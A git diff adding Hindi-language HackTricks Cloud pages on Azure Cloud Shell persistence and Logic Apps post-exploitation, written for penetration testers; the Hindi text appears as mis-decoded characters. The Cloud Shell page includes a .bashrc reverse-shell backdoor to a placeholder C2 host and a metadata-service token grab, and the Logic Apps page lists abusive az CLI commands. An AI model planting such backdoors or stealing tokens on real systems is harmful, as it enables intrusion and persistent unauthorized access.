diff --git a/src/SUMMARY.md b/src/SUMMARY.md index d05776c71..4d0520541 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -409,6 +409,7 @@ - [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md) - [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md) - [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md) + - [Az - Cloud Shell](pentesting-cloud/azure-security/az-services/az-cloud-shell.md) - [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md) - [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-instances.md) - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md) @@ -452,6 +453,7 @@ - [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md) - [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md) - [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md) + - [Az - Logic Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md) - [Az - MySQL](pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md) - [Az - PostgreSQL](pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md) - [Az - Queue Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md) @@ -471,6 +473,7 @@ - [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md) - [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md) - [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md) + - [Az - Logic Apps Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md) - [Az - MySQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md) - [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md) - [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md) @@ -480,6 +483,7 @@ - [Az - SQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md) - [Az - Virtual Machines & Network Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md) - [Az - Persistence](pentesting-cloud/azure-security/az-persistence/README.md) + - [Az - Cloud Shell Persistence](pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md) - [Az - Queue Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md) - [Az - VMs Persistence](pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md) - [Az - Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md) diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md new file mode 100644 index 000000000..04c5be74a --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md @@ -0,0 +1,56 @@ +# Az - Cloud Shell Persistence + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** ЁЯТм [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** ЁЯРж [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %} + +## Cloud Shell Persistence + +Azure Cloud Shell рдХрдорд╛рдВрдб-рд▓рд╛рдЗрди рдПрдХреНрд╕реЗрд╕ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ Azure рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХрд╛ рдкреНрд░рдмрдВрдзрди рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ, рдЬрд┐рд╕рдореЗрдВ рд╕реНрдерд╛рдпреА рднрдВрдбрд╛рд░рдг рдФрд░ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╢рд╛рдорд┐рд▓ рд╣реИред рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдХрд░ рд╕реНрдерд╛рдпреА рд╣реЛрдо рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдореЗрдВ рдмреИрдХрдбреЛрд░ рд░рдЦ рд╕рдХрддреЗ рд╣реИрдВ: + +* **Persistent Storage**: Azure Cloud Shell рдХрд╛ рд╣реЛрдо рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдПрдХ Azure рдлрд╝рд╛рдЗрд▓ рд╢реЗрдпрд░ рдкрд░ рдорд╛рдЙрдВрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдФрд░ рд╕рддреНрд░ рд╕рдорд╛рдкреНрдд рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж рднреА рдмрд░рдХрд░рд╛рд░ рд░рд╣рддрд╛ рд╣реИред +* **Startup Scripts**: рдлрд╝рд╛рдЗрд▓реЗрдВ рдЬреИрд╕реЗ .bashrc рдкреНрд░рддреНрдпреЗрдХ рд╕рддреНрд░ рдХреА рд╢реБрд░реБрдЖрдд рдореЗрдВ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддреА рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдХреНрд▓рд╛рдЙрдб рд╢реЗрд▓ рд╢реБрд░реВ рд╣реЛрдиреЗ рдкрд░ рд╕реНрдерд╛рдпреА рдирд┐рд╖реНрдкрд╛рджрди рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред + +Example backdoor in .bashrc: + +{% code overflow="wrap" %} +```bash +echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc +``` +{% endcode %} + +рдпрд╣ рдмреИрдХрдбреЛрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рдХреНрд▓рд╛рдЙрдб рд╢реЗрд▓ рд╕рдорд╛рдкреНрдд рд╣реЛрдиреЗ рдХреЗ 5 рдорд┐рдирдЯ рдмрд╛рдж рднреА рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред + +рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, рдЙрджрд╛рд╣рд░рдг рд╡рд┐рд╡рд░рдг рдФрд░ рдЯреЛрдХрди рдХреЗ рд▓рд┐рдП Azure рдХреА рдореЗрдЯрд╛рдбреЗрдЯрд╛ рд╕реЗрд╡рд╛ рдХреЛ рдХреНрд╡реЗрд░реА рдХрд░реЗрдВ: +{% code overflow="wrap" %} +```bash +curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s +``` +{% endcode %} + + +{% hint style="success" %} +AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ + +* [**рд╕рджрд╕реНрдпрддрд╛ рдпреЛрдЬрдирд╛рдПрдБ**](https://github.com/sponsors/carlospolop) рджреЗрдЦреЗрдВ! +* **рд╣рдорд╛рд░реЗ** ЁЯТм [**Discord рд╕рдореВрд╣**](https://discord.gg/hRep4RUj7f) рдпрд╛ [**telegram рд╕рдореВрд╣**](https://t.me/peass) рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрдВ рдпрд╛ **рд╣рдорд╛рд░реЗ** **Twitter** ЁЯРж [**@hacktricks\_live**](https://twitter.com/hacktricks_live)** рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдВред** +* **рд╣реИрдХрд┐рдВрдЧ рдЯреНрд░рд┐рдХреНрд╕ рд╕рд╛рдЭрд╛ рдХрд░реЗрдВ рдФрд░** [**HackTricks**](https://github.com/carlospolop/hacktricks) рдФрд░ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos рдореЗрдВ PRs рд╕рдмрдорд┐рдЯ рдХрд░реЗрдВред + +
+{% endhint %} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md new file mode 100644 index 000000000..8069ec2d7 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md @@ -0,0 +1,181 @@ +# Az - Logic Apps Post Exploitation + +{% hint style="success" %} +AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ + +* [**рд╕рджрд╕реНрдпрддрд╛ рдпреЛрдЬрдирд╛рдПрдБ**](https://github.com/sponsors/carlospolop) рджреЗрдЦреЗрдВ! +* **рд╣рдорд╛рд░реЗ** ЁЯТм [**Discord рд╕рдореВрд╣**](https://discord.gg/hRep4RUj7f) рдпрд╛ [**telegram рд╕рдореВрд╣**](https://t.me/peass) рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрдВ рдпрд╛ **Twitter** ЁЯРж рдкрд░ рд╣рдореЗрдВ **рдлреЙрд▓реЛ рдХрд░реЗрдВ** [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** +* рд╣реИрдХрд┐рдВрдЧ рдЯреНрд░рд┐рдХреНрд╕ рд╕рд╛рдЭрд╛ рдХрд░реЗрдВ рдФрд░ [**HackTricks**](https://github.com/carlospolop/hacktricks) рдФрд░ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos рдореЗрдВ PRs рд╕рдмрдорд┐рдЯ рдХрд░реЗрдВред + +
+{% endhint %} + +## Logic Apps Database Post Exploitation +Logic apps рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ: + +{% content-ref url="../az-services/az-logic-apps.md" %} +[az-logic-apps.md](../az-services/az-logic-apps.md) +{% endcontent-ref %} + +### "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action" +рдЗрди рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде, рдЖрдк Logic App рд╡рд░реНрдХрдлрд╝реНрд▓реЛ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЙрдирдХреА рдкрд╣рдЪрд╛рди рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, рдЖрдк рд╡рд░реНрдХрдлрд╝реНрд▓реЛ рдХреЗ рд▓рд┐рдП рд╕рд┐рд╕реНрдЯрдо-рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдкреНрд░рдмрдВрдзрд┐рдд рдкрд╣рдЪрд╛рди рдХреЛ рдЕрд╕рд╛рдЗрди рдпрд╛ рд╣рдЯрд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ Logic App рдХреЛ рд╕реНрдкрд╖реНрдЯ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдХреЗ рдмрд┐рдирд╛ рдЕрдиреНрдп Azure рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рдкреНрд░рдорд╛рдгрд┐рдд рдФрд░ рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред + +{% code overflow="wrap" %} +```bash +az logic workflow identity remove/assign \ +--name \ +--resource-group \ +--system-assigned true \ +--user-assigned "/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/" +``` +{% endcode %} + +### "Microsoft.Web/sites/read", "Microsoft.Web/sites/write" +рдЗрди рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде, рдЖрдк App Service Plan рдкрд░ рд╣реЛрд╕реНрдЯ рдХрд┐рдП рдЧрдП Logic Apps рдХреЛ рдмрдирд╛ рдпрд╛ рдЕрдкрдбреЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕рдореЗрдВ HTTPS рдкреНрд░рд╡рд░реНрддрди рдХреЛ рд╕рдХреНрд╖рдо рдпрд╛ рдЕрдХреНрд╖рдо рдХрд░рдиреЗ рдЬреИрд╕реА рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред + +{% code overflow="wrap" %} +```bash +az logicapp update \ +--resource-group \ +--name \ +--set httpsOnly=false +``` +{% endcode %} + +### "Microsoft.Web/sites/stop/action", "Microsoft.Web/sites/start/action" || "Microsoft.Web/sites/restart/action" +рдЗрд╕ рдЕрдиреБрдорддрд┐ рдХреЗ рд╕рд╛рде, рдЖрдк рдПрдХ рд╡реЗрдм рдРрдк рдХреЛ рд╢реБрд░реВ/рд░реЛрдХ/рдкреБрдирдГ рдкреНрд░рд╛рд░рдВрдн рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рдореЗрдВ App Service Plan рдкрд░ рд╣реЛрд╕реНрдЯ рдХрд┐рдП рдЧрдП Logic Apps рд╢рд╛рдорд┐рд▓ рд╣реИрдВред рдпрд╣ рдХреНрд░рд┐рдпрд╛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддреА рд╣реИ рдХрд┐ рдПрдХ рдкреВрд░реНрд╡ рдореЗрдВ рд░реЛрдХрд╛ рдЧрдпрд╛ рдРрдк рдСрдирд▓рд╛рдЗрди рд▓рд╛рдпрд╛ рдЬрд╛рдП рдФрд░ рдЗрд╕рдХреА рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдлрд┐рд░ рд╕реЗ рд╢реБрд░реВ рд╣реЛред рдпрд╣ рдХрд╛рд░реНрдпрдкреНрд░рд╡рд╛рд╣реЛрдВ рдХреЛ рдмрд╛рдзрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЕрдирдкреЗрдХреНрд╖рд┐рдд рд╕рдВрдЪрд╛рд▓рди рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдпрд╛ Logic Apps рдХреЛ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рд░реВрдк рд╕реЗ рд╢реБрд░реВ, рд░реЛрдХрдиреЗ рдпрд╛ рдкреБрдирдГ рдкреНрд░рд╛рд░рдВрдн рдХрд░рдиреЗ рдХреЗ рдХрд╛рд░рдг рдбрд╛рдЙрдирдЯрд╛рдЗрдо рдХрд╛ рдХрд╛рд░рдг рдмрди рд╕рдХрддрд╛ рд╣реИред + +{% code overflow="wrap" %} +```bash +az webapp start/stop/restart \ +--name \ +--resource-group +``` +{% endcode %} + + +### "Microsoft.Web/sites/config/list/action", "Microsoft.Web/sites/read" && "Microsoft.Web/sites/config/write" + +рдЗрд╕ рдЕрдиреБрдорддрд┐ рдХреЗ рд╕рд╛рде, рдЖрдк рд╡реЗрдм рдРрдкреНрд╕ рдХреЗ рд▓рд┐рдП рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдпрд╛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рдореЗрдВ App Service Plan рдкрд░ рд╣реЛрд╕реНрдЯ рдХрд┐рдП рдЧрдП Logic Apps рд╢рд╛рдорд┐рд▓ рд╣реИрдВред рдпрд╣ рдРрдк рд╕реЗрдЯрд┐рдВрдЧреНрд╕, рдХрдиреЗрдХреНрд╢рди рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕, рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди, рдФрд░ рдЕрдзрд┐рдХ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред + +{% code overflow="wrap" %} +```bash +az logicapp config appsettings set \ +--name \ +--resource-group \ +--settings "=" +``` +{% endcode %} + +### "Microsoft.Logic/integrationAccounts/write" +рдЗрд╕ рдЕрдиреБрдорддрд┐ рдХреЗ рд╕рд╛рде, рдЖрдк Azure Logic Apps рдЗрдВрдЯреАрдЧреНрд░реЗрд╢рди рдЦрд╛рддреЛрдВ рдХреЛ рдмрдирд╛, рдЕрдкрдбреЗрдЯ рдпрд╛ рд╣рдЯрд╛ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕рдореЗрдВ рдЗрдВрдЯреАрдЧреНрд░реЗрд╢рди рдЦрд╛рддрд╛-рд╕реНрддрд░реАрдп рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдЬреИрд╕реЗ рдорд╛рдирдЪрд┐рддреНрд░, рд╕реНрдХреАрдорд╛, рднрд╛рдЧреАрджрд╛рд░, рд╕рдордЭреМрддреЗ, рдФрд░ рдЕрдзрд┐рдХ рдХрд╛ рдкреНрд░рдмрдВрдзрди рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред + +{% code overflow="wrap" %} +```bash +az logic integration-account create \ +--resource-group \ +--name \ +--location \ +--sku \ +--state Enabled +``` +{% endcode %} + +### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/batchConfigurations/write" + +рдЗрд╕ рдЕрдиреБрдорддрд┐ рдХреЗ рд╕рд╛рде, рдЖрдк Azure Logic Apps рдПрдХреАрдХрд░рдг рдЦрд╛рддреЗ рдХреЗ рднреАрддрд░ рдмреИрдЪ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдмрдирд╛ рдпрд╛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдмреИрдЪ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдпрд╣ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддреЗ рд╣реИрдВ рдХрд┐ Logic Apps рдмреИрдЪ рдкреНрд░реЛрд╕реЗрд╕рд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рдЖрдиреЗ рд╡рд╛рд▓реЗ рд╕рдВрджреЗрд╢реЛрдВ рдХреЛ рдХреИрд╕реЗ рд╕рдВрд╕рд╛рдзрд┐рдд рдФрд░ рд╕рдореВрд╣рд┐рдд рдХрд░рддреЗ рд╣реИрдВред + +{% code overflow="wrap" %} +```bash +az logic integration-account batch-configuration create \ +--resource-group \ +--integration-account-name \ +--name \ +--release-criteria '{ +"messageCount": 100, +"batchSize": 1048576, +}' +``` +{% endcode %} + +### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/maps/write" +рдЗрд╕ рдЕрдиреБрдорддрд┐ рдХреЗ рд╕рд╛рде, рдЖрдк Azure Logic Apps рдПрдХреАрдХрд░рдг рдЦрд╛рддреЗ рдХреЗ рднреАрддрд░ рдорд╛рдирдЪрд┐рддреНрд░ рдмрдирд╛ рдпрд╛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдорд╛рдирдЪрд┐рддреНрд░реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдбреЗрдЯрд╛ рдХреЛ рдПрдХ рдкреНрд░рд╛рд░реВрдк рд╕реЗ рджреВрд╕рд░реЗ рдкреНрд░рд╛рд░реВрдк рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдгрд╛рд▓рд┐рдпреЛрдВ рдФрд░ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рдмреАрдЪ рдирд┐рд░реНрдмрд╛рдз рдПрдХреАрдХрд░рдг рд╕рдВрднрд╡ рд╣реЛрддрд╛ рд╣реИред + +{% code overflow="wrap" %} +```bash +az logic integration-account map create \ +--resource-group \ +--integration-account-name \ +--name \ +--map-type \ +--content-type application/xml \ +--map-content map-content.xslt +``` +{% endcode %} + +### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/partners/write" +рдЗрд╕ рдЕрдиреБрдорддрд┐ рдХреЗ рд╕рд╛рде, рдЖрдк Azure Logic Apps рдЗрдВрдЯреАрдЧреНрд░реЗрд╢рди рдЦрд╛рддреЗ рдореЗрдВ рднрд╛рдЧреАрджрд╛рд░реЛрдВ рдХреЛ рдмрдирд╛ рдпрд╛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рднрд╛рдЧреАрджрд╛рд░ рдЙрди рд╕рдВрд╕реНрдерд╛рдУрдВ рдпрд╛ рдкреНрд░рдгрд╛рд▓рд┐рдпреЛрдВ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ рд╡реНрдпрд╡рд╕рд╛рдп-рд╕реЗ-рд╡реНрдпрд╡рд╕рд╛рдп (B2B) рдХрд╛рд░реНрдпрдкреНрд░рд╡рд╛рд╣реЛрдВ рдореЗрдВ рднрд╛рдЧ рд▓реЗрддреЗ рд╣реИрдВред + +{% code overflow="wrap" %} +```bash +az logic integration-account partner create \ +--resource-group \ +--integration-account-name \ +--name \ +--partner-type \ +--content '{ +"b2b": { +"businessIdentities": [ +{ +"qualifier": "ZZ", +"value": "TradingPartner1" +} +] +} +}' +``` +{% endcode %} + +### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/sessions/write" +рдЗрд╕ рдЕрдиреБрдорддрд┐ рдХреЗ рд╕рд╛рде, рдЖрдк Azure Logic Apps рдЗрдВрдЯреАрдЧреНрд░реЗрд╢рди рдЦрд╛рддреЗ рдХреЗ рднреАрддрд░ рд╕рддреНрд░ рдмрдирд╛ рдпрд╛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рд╕рддреНрд░ B2B рд╡рд░реНрдХрдлрд╝реНрд▓реЛ рдореЗрдВ рд╕рдВрджреЗрд╢реЛрдВ рдХреЛ рд╕рдореВрд╣рд┐рдд рдХрд░рдиреЗ рдФрд░ рдПрдХ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдЕрд╡рдзрд┐ рдХреЗ рднреАрддрд░ рд╕рдВрдмрдВрдзрд┐рдд рд▓реЗрдирджреЗрди рдХреЛ рдЯреНрд░реИрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред + +{% code overflow="wrap" %} +```bash +az logic integration-account session create \ +--resource-group \ +--integration-account-name \ +--name \ +--content '{ +"properties": { +"sessionId": "session123", +"data": { +"key1": "value1", +"key2": "value2" +} +} +}' +``` +{% endcode %} + +### "*/delete" +рдЗрди рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдЖрдк Azure Logic Apps рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рд╣рдЯрд╛ рд╕рдХрддреЗ рд╣реИрдВ + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** ЁЯТм [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** ЁЯРж [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md new file mode 100644 index 000000000..f650ded07 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md @@ -0,0 +1,77 @@ +# Az - Logic Apps Privesc + +{% hint style="success" %} +AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ + +* [**рд╕рджрд╕реНрдпрддрд╛ рдпреЛрдЬрдирд╛рдПрдБ**](https://github.com/sponsors/carlospolop) рджреЗрдЦреЗрдВ! +* **рд╣рдорд╛рд░реЗ** ЁЯТм [**Discord рд╕рдореВрд╣**](https://discord.gg/hRep4RUj7f) рдпрд╛ [**рдЯреЗрд▓реАрдЧреНрд░рд╛рдо рд╕рдореВрд╣**](https://t.me/peass) рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрдВ рдпрд╛ **рд╣рдорд╛рд░реЗ** **Twitter** ЁЯРж [**@hacktricks\_live**](https://twitter.com/hacktricks_live)** рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдВред** +* рд╣реИрдХрд┐рдВрдЧ рдЯреНрд░рд┐рдХреНрд╕ рд╕рд╛рдЭрд╛ рдХрд░реЗрдВ рдФрд░ [**HackTricks**](https://github.com/carlospolop/hacktricks) рдФрд░ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) рдЧрд┐рдЯрд╣рдм рд░рд┐рдкреЛрдЬрд┐рдЯрд░реА рдореЗрдВ PR рд╕рдмрдорд┐рдЯ рдХрд░реЗрдВред + +
